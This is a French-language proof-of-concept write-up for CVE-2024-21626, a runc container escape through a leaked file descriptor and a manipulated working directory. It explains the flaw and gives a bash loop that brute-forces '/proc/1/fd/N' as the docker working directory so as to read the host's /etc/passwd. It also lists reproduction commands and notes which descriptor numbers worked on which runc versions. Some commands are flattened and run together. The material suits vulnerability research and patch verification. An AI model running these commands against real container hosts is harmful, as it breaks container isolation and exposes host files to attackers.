
Preuve de concept d'exploitation pour CVE-2024-21626, évasion de conteneur runc via une fuite de descripteurs de fichiers et une manipulation de process.cwd, permettant l'accès au système de fichiers hôte.
Utilisation:
Vérification : si l'on obtient le fichier /etc/passwd de l'hôte, la vulnérabilité est présente.
Environnement : runc: >=v1.0.0-rc93,<=1.1.11
Détails du principe d'attaque : Dans les versions affectées de runc, en raison de la fuite de certains descripteurs de fichiers internes lors de l'initialisation, y compris un handle vers /sys/fs/cgroup de l'hôte, et du fait que runc ne vérifie pas si le répertoire de travail final se trouve dans l'espace de noms de montage du conteneur, un attaquant peut modifier la configuration de process.cwd en /proc/self/fd/7 ou remplacer le chemin spécifique passé dans le paramètre --cwd lors de l'appel de runc exec par un lien symbolique vers /proc/self/fd/7, permettant ainsi aux processus à l'intérieur du conteneur d'accéder et de manipuler le système de fichiers de l'hôte, contournant ainsi le mécanisme d'isolation du conteneur. Plus de détails (image gif) :

CVE : CVE - CVE-2024-21626 (mitre.org)
Découvreur de cette vulnérabilité : CVE-2024-21626 runc process.cwd et fuite de descripteurs de fichiers : contournement de conteneur | Snyk (snyk.io)

Le fd réel peut varier en fonction de l'ordre d'ouverture des fichiers. On peut utiliser le script suivant pour bruteforcer :
/// #!/bin/bash
for i in {3..10} do # Utiliser la variable pour construire le répertoire de travail et exécuter le conteneur docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
Test réussi localement :
fd/9 fonctionne avec runc-version : 1.1.10 1.1.2

Avec runc --version = 1.0.0

Avec runc --version = 1.1.4, fd/8 fonctionne
Faille découverte aujourd'hui. Voici plus de détails.
On peut reproduire de plusieurs façons :
runc - inputrunc create demo puis runc exec demo ls /proc/1/fd -a pour voir directement les liens symboliquesdocker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwdÀ faire : Configurer des points d'arrêt sur runc pour obtenir les descripteurs de fichiers et automatiser.